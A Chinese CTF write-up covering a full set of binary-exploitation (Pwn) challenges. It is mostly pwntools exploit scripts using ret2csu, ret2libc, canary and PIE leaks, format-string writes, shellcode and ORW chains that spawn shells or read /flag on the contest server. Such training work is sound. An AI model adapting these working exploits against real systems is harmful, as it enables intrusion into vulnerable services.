参加的第二个CTF比赛，不小心 ak Pwn 了

和校内全栈神mxym一起打的

唯一抢到的一血是 PWN_GAME

学到了一些新东西

old_rop#

简单的ret2csu

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   31452
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
bss = elf.bss(0x100)
39

40
payload = b'\x00'*(0x80+8) + p64(0x4012CA)
41
payload += p64(0)
42
payload += p64(0)
43
payload += p64(1)
44
payload += p64(elf.got['read'])
45
payload += p64(6)
46
payload += p64(elf.got['write'])
47
payload += p64(0x4012B0)
48
payload += p64(0)
49
payload += p64(0)
50
payload += p64(0)
51
payload += p64(0)
52
payload += p64(bss)
53
payload += p64(0x100)
54
payload += p64(elf.got['read'])
55
payload += p64(0x4012B0)
56
payload += p64(0)
57
payload += p64(0)
58
payload += p64(0)
59
payload += p64(bss + 8)
60
payload += p64(0)
61
payload += p64(0)
62
payload += p64(bss)
63
payload += p64(0x4012B0)
64
debug()
65
sa(b'!\x00\n', payload)
66

67
libc_base = uu64(r(6)) - libc.sym['read']
68
leak('libc_base')
69

70
s(p64(libc_os(libc.sym['execve'])) + b'/bin/sh\x00')
71

72

73
itr()

Mission Calculator#

基础pwntools使用

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './calc'
7
elf = ELF(file)
8
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   31552
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18

19
s       = lambda data               :p.send(data)
20
sl      = lambda data               :p.sendline(data)
21
sa      = lambda x,data             :p.sendafter(x, data)
22
sla     = lambda x,data             :p.sendlineafter(x, data)
23
r       = lambda num=4096           :p.recv(num)
24
rl      = lambda num=4096           :p.recvline(num)
25
ru      = lambda x                  :p.recvuntil(x)
26
itr     = lambda                    :p.interactive()
27
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
28
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
29
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
30
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
31
libc_os   = lambda x                :libc_base + x
32

33

34
sa(b'Press any key to start...', b'\n')
35

36
for i in range(50):
37
    problem = ru(b'=').decode().split(': ')[1].split(' =')[0]
38
    sl(str(eval(problem)).encode())
39

40

41
itr()

Mission Cipher Text#

简单的ret2text

用cat flag >&2输出到标准错误流

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   32133
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38

39
sla(b'choice >', '2')
40

41
# debug()
42

43
sa(b'feedback:', b'\x00'*(0x20+8) + p64(0x4014AA) + p64(0x4014AB))
44

45
itr()
46

47
# cat flag >&2

Mission Exception Registration#

读入覆盖+ret2libc

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   32078
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38

39
sla(b'choice >>', b'1')
40
sa(b'name:\n', b'ItsFlicker')
41
sa(b'password:\n', b'\x00'*33)
42

43
sla(b'choice >>', b'3')
44
sa(b'password:\n', b'\x00'*32)
45

46
ru('WELCOME, ADMINISTRATOR.\n')
47
libc_base = uu64(r(6)) - libc.sym['puts']
48
leak('libc_base')
49

50
sla(b'choice >>', b'2')
51
sa(b'feedback:\n', b'\x00'*(0x10+8) + p64(libc_os(0x029cd6)) + p64(libc_os(0x02a3e5)) + p64(libc_os(0x1d8698)) + p64(libc_os(libc.sym['system'])))
52

53

54
# debug()
55

56
itr()

次元囚笼#

使用strcpy溢出，所以不能有\0把payload截断

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
# libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   32710
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
sla(b'>> : ', b'3')
39
sa(b'love \n', b'love\x00')
40

41
sla(b'>> : ', b'1')
42
sa(b'forever\n', b'A'*(0x20+8) + p64(0x4012D9))
43

44
sla(b'>> : ', b'2')
45
debug()
46
sa(b'prayer', b'1\x00')
47

48

49

50
itr()

Mission Transponder#

首先将Canary最低位\0覆盖，泄露Canary，然后改返回地址最低位，重新进入函数

这一次泄露pie，进入另一个函数，用fmt泄露libc_base

然后orw

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   31067
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
sa(b'data:\n', b'A'*(40+1))
39
ru(b'A'*41)
40
canary = uu64(r(7))*256
41
leak('canary')
42

43
stack = uu64(r(6))
44
leak('stack')
45

46
sa(b'logs:\n', b'A'*40 + p64(canary) + b'\x00'*8 + p8(0x92))
47

48
sa(b'data:\n', b'A'*(0x30+8))
49
ru(b'A'*0x38)
50
pie = uu64(r(6)) - (elf.sym['main'] + 19)
51
leak('pie')
52
sa(b'logs:\n', b'A'*40 + p64(canary) + b'\x00'*8 + p64(pie + elf.sym['repeat_error']))
53

54
sa(b'data:\n', b'%30$p\n\x00')
55
libc_base = int(p.recvline(keepends=False).decode(), 16) - (libc.sym['__libc_start_main'] + 137)
56
leak('libc_base')
57
s(b'A'*8 + p64(canary) + b'\x00'*8 + p64(pie + elf.sym['repeater']))
58

59
rax = libc_os(0x0d4f97)
60
rdi = libc_os(0x102dea)
61
rsi = libc_os(0x053887)
62
mov_rdx_rax = libc_os(0x128507)
63
syscall = pie + 0x0011DD
64
bss_start = pie + elf.bss(0x100)
65

66
sa(b'data:\n', b'\x00')
67
debug()
68
payload = b'A'*40 + p64(canary) + b'\x00'*8 + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rax) + p64(6) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)
69
payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(2) + p64(syscall)
70
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)
71
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(1) + p64(syscall)
72
s(payload)
73
sleep(1)
74
s(b'/flag\x00')
75

76
itr()

Mission Ember#

每次操作改一点栈帧，最后无限读，orw

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   31579
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
shellcode = '''
39
pop rax
40
mov al, 0x60
41
pop rsi
42
push rax
43
ret
44
'''
45
# debug()
46
sa(b'HQ', asm(shellcode))
47

48
shellcode = '''
49
pop rax
50
mov al, 0x60
51
push rsi
52
push rax
53
ret
54
'''
55
# debug()
56
s(asm(shellcode))
57

58
shellcode = '''
59
pop rax
60
pop rax
61
pop rsi
62
pop rdx
63
syscall
64
'''
65
# debug()
66
s(asm(shellcode))
67

68
shellcode = shellcraft.open('/flag')
69
shellcode += shellcraft.read(3, 0x408000, 0x40)
70
shellcode += shellcraft.write(1, 0x408000, 0x40)
71
debug()
72
s(b'\x90'*6 + asm(shellcode))
73

74
itr()

Mission Absolutely Abyss#

输入负数绕过检查，然后直接改返回地址位置

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
# libc = ELF('./libc.so.6')
9

10
choice = 0
11
if choice:
12
    port =   30683
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
debug()
39
sla(b'array:\n', b'-1') # 0xffffffff abs32 = 1
40

41
sla(b'choice:\n', b'1')
42
sla(b'write: \n', b'14')
43
sla(b'num\n', str(0x4007DA).encode())
44

45
sla(b'choice:\n', b'1')
46
sla(b'write: \n', b'15')
47
sla(b'num\n', b'0')
48

49
sla(b'choice:\n', b'3')
50

51
itr()

血池轮回#

为什么需要9天？

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   30913
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
debug('b *0x40142D\nc\n')
39
shellcode = '''
40
pop rbx
41
push rbx
42
ret
43
'''
44
sa(b'? ', b'n')
45
sa(b'!', asm(shellcode))
46

47
shellcode = '''
48
mov bx, 0x13F8
49
ret
50
'''
51
sa(b'? ', b'n')
52
sa(b'!', asm(shellcode))
53

54
shellcode = '''
55
mov dl, 0xff
56
push rbx
57
ret
58
nop
59
'''
60
sa(b'? ', b'n')
61
sa(b'!', asm(shellcode))
62

63
s(asm(shellcraft.sh()))
64

65

66
itr()

null_file#

为了绕过munmap，必须把栈上的len改为0

printf中，可以用%*XX$c输出指定数量的字符

由于栈地址的数值过大，%hn的结果似乎是”反码”？所以输出两次

这样，只需要爆破栈地址一个字节

1
from pwn import *
2
import struct
3

4
context(arch='amd64', os='linux')
5
# context.log_level = 'debug'
6
context.terminal = ['tmux', 'splitw', '-h']
7
file = './pwn'
8
elf = ELF(file)
9
# libc = ELF('./libc.so.6')
10

11
shellcode = asm(shellcraft.sh())
12
if len(shellcode) % 2 != 0:
13
    shellcode += b'\x90'
14
words = struct.unpack('<' + 'H' * (len(shellcode)//2), shellcode)
15

16
def solve(p):
17

18
    s       = lambda data               :p.send(data)
19
    sa      = lambda x,data             :p.sendafter(x, data)
20
    rl      = lambda num=4096           :p.recvline(num)
21
    itr     = lambda                    :p.interactive()
22

23
    def debug(cmd=''):
24
        if choice==1:
25
            return
26
        gdb.attach(p, gdbscript=cmd)
27
    # debug('b *$rebase(0x0014F2)\nc\nstack 45')
28
    sa(b'actions: \n', f'%*19$c%19$hn\n'.encode())
29
    sa(b'actions: \n', f'%*39$c%19$hn\n'.encode())
30
    sa(b'actions: \n', f'%{0x20}c%19$hhn\n'.encode())
31
    sa(b'actions: \n', f'%39$hn\n'.encode())
32

33

34
    for i in words:
35
        sa(b'actions: \n', f'%{i}c%11$hn\n'.encode())
36

37

38
    sa(b'actions: \n', f'%{0x10}c%19$hhn\n'.encode())
39

40
    sa(b'actions: \n', f'%8c%39$hhn\n'.encode())
41
    # gdb.attach(p)
42
    sa(b'actions: \n', b'\n'*16)
43
    s(b'cat /flag\n')
44
    return rl()
45

46

47
for i in range(100):
48
    choice = 1
49
    if choice:
50
        port =   31352
51
        target = 'geek.ctfplus.cn'
52
        p = remote(target, port)
53
    else:
54
        p = process(file, aslr=True)
55
    try:
56
        print(solve(p))
57
        break
58
    except:
59
        p.close()

Mission Shadow#

annontation存在off by one

按下图布局：（其实有一步是冗余的，但我懒得重新搞了）

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   30337
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
sla(b'choice>> ', b'3')
39
ru(b'detected: ')
40
pie = int(p.recvline(keepends=False).decode(), 16) - elf.sym['shadow']
41
leak('pie')
42

43
task_list = pie + elf.sym['task_list']
44

45
sla(b'choice>> ', b'1')
46
sla(b'choice>> ', b'1') # commit_feedback
47
sa(b'):\n', b'/bin/sh\x00\n')
48

49
sla(b'choice>> ', b'1')
50
sla(b'choice>> ', b'2') # show_time -> smash
51
sa(b'):\n', b'A'*16 + p8(0x4B))
52

53
sla(b'choice>> ', b'1')
54
sla(b'choice>> ', b'2') # show_time -> leave; ret
55
sa(b'):\n', b'A'*16 + p8(0x73))
56

57
sla(b'choice>> ', b'1')
58
sla(b'choice>> ', b'3') # dance
59
sa(b'):\n', b'\n')
60

61
sla(b'choice>> ', b'1')
62
sla(b'choice>> ', b'2') # show_time
63
sa(b'):\n', p64(task_list) + p64(pie + elf.sym['dance'] + 20) + p8(0))
64

65
sla(b'choice>> ', b'1')
66
sla(b'choice>> ', b'2') # show_time
67
sa(b'):\n', p64(pie + elf.sym['unreachable'] + 4) + b'sh\n')
68

69
sla(b'choice>> ', b'1')
70
sla(b'choice>> ', b'2') # show_time
71
sa(b'):\n', p64(task_list + 0x60) + p64(pie + elf.sym['execute_task'] + 137) + b'\n')
72

73

74
sla(b'choice>> ', b'2')
75

76
# debug()
77
sa(b'feedback:\n', b'A'*0x10 + p64(task_list + 0x90))
78

79
sa(b'about.\n', p64(task_list) + p64(pie + elf.sym['unreachable'] + 4))
80

81
s(b'A'*0x10 + p64(task_list))
82

83

84
itr()

last_rop#

按%d读入，又按%x放入，于是rop链中的地址只能包含0~9

这里找到了mov rax, r12，而r12指向的内容可以控制

注意：不能继续往下输入(r13)使得环境变量被覆盖，否则system(“sh”)无法正常运行

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
# libc = ELF('./libc.so.6')
9

10
choice = 0
11
if choice:
12
    port =   31347
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
# debug('b *0x401A26\nc\n')
39
# debug('b *0x401914\nc\n')
40

41
sla(b'rop! ', b'1')
42
sla(b'rop! ', b'2')
43
sla(b'rop! ', b'3')
44
sla(b'rop! ', str(400000001).encode()) # i
45
sla(b'rop! ', str(416087).encode()) # 0x416087 : mov rax, r12 ; pop r12 ; pop r13 ; pop rbp ; ret
46
sla(b'rop! ', b'1')
47
sla(b'rop! ', b'2')
48
sla(b'rop! ', b'3')
49
# sla(b'rop! ', str(401965).encode())
50
sla(b'rop! ', str(401914).encode()) # blah : mov rdi, rax ; call system
51

52
for i in range(30): # r12
53
    sla(b'rop! ', str(6873).encode()) # sh
54
    # sla(b'rop! ', str(3024).encode()) # $0 也可以
55

56
# debug('b *0x4019c0\nc\n')
57
sla(b'rop! ', b'0')
58

59
itr()

Mission Sink#

alloca会在栈上分配空间，但不会清空，以此泄露libc_base和Canary

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   32363
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
debug('b struggle\nc\n')
39

40
for i in range(6):
41
    sla(b'Your choice: \n', b'4')
42
    sla(b'going?\n', str(0x101).encode())
43

44
sla(b'Your choice: \n', b'4')
45
sla(b'going?\n', str(0x40-23).encode())
46
ru(b'I need you.\n')
47
libc_base = uu64(r(8)) - (libc.sym['puts'] + 506)
48
leak('libc_base')
49

50
sla(b'Your choice: \n', b'4')
51
sla(b'going?\n', str(0x130-23).encode())
52
ru(b'I need you.\n')
53
canary = uu64(r(8))
54
leak('canary')
55

56
sla(b'Your choice: \n', b'1')
57
payload = b'A'*(0x20-8) + p64(canary) + p64(0) + p64(libc_os(0xe5ff0))
58
sa(b'love me?\n', payload)
59

60

61
itr()

Mission Anabiosis#

用链表结构保存数据

用off by null进入管理员模式

泄露链表指针得知pie，然后ret2libc

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   30411
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
sa(b'Your choice:\n', b'1')
39
ru(b'uid is:')
40
uid = int(p.recvline(keepends=False).decode())
41
sa(b'name: ', b'mxym')
42
sa(b'data: ', b'A')
43

44
sa(b'Your choice:\n', b'3')
45
sa(b'uid to edit: ', str(uid).encode())
46
sa(b'name: ', b'A'*16)
47
sa(b'data: ', b'A')
48

49
sa(b'Your choice:\n', b'1')
50
sa(b'name: ', b'ItsFlicker')
51
sa(b'data: ', b'/bin/sh\x00')
52

53
sa(b'Your choice:\n', b'0')
54
sla(b'uid: ', str(uid).encode())
55

56
sa(b'Your choice:\n', b'6')
57
sa(b'Your choice:\n', b'2')
58
sla(b'index to edit: ', b'1')
59
sa(b'data: ', b'A'*0x80)
60

61
sa(b'Your choice:\n', b'3')
62
sa(b'Your choice:\n', b'4')
63
sa(b'uid to show: ', str(uid).encode())
64

65
ru(b'A'*0x80)
66
pie = uu64(r(6)) - (elf.sym['node_pool'] + 168)
67
leak('pie')
68

69
sa(b'Your choice:\n', b'0')
70
sla(b'uid: ', str(uid).encode())
71

72
sa(b'Your choice:\n', b'6')
73
sa(b'Your choice:\n', b'4')
74
debug()
75
payload = b'A'*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.got['puts']) + p64(pie + elf.plt['puts']) + p64(pie + 0x001CD9)
76
sa(b'I love you.\n', payload)
77

78
libc_base = uu64(r(6)) - (libc.sym['puts'])
79
leak('libc_base')
80

81
payload = b'A'*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.sym['node_pool'] + 376) + p64(libc_os(libc.sym['system']))
82
sa(b'I love you.\n', payload)
83

84
itr()

Mission Memory Cloister#

改got_exit，然后把got_rand改为one_gadget，返回地址改为sharp

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   30253
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
# debug('b *0x401321\nc\n')
39

40
sa(b'Exit.\n', b'2')
41
sla(b'voice.\n', b'A'*0x100 + b'%87c%8$hhn%187c%9$hhn%33$p\x00')
42

43
sa(b'Exit.\n', b'1')
44
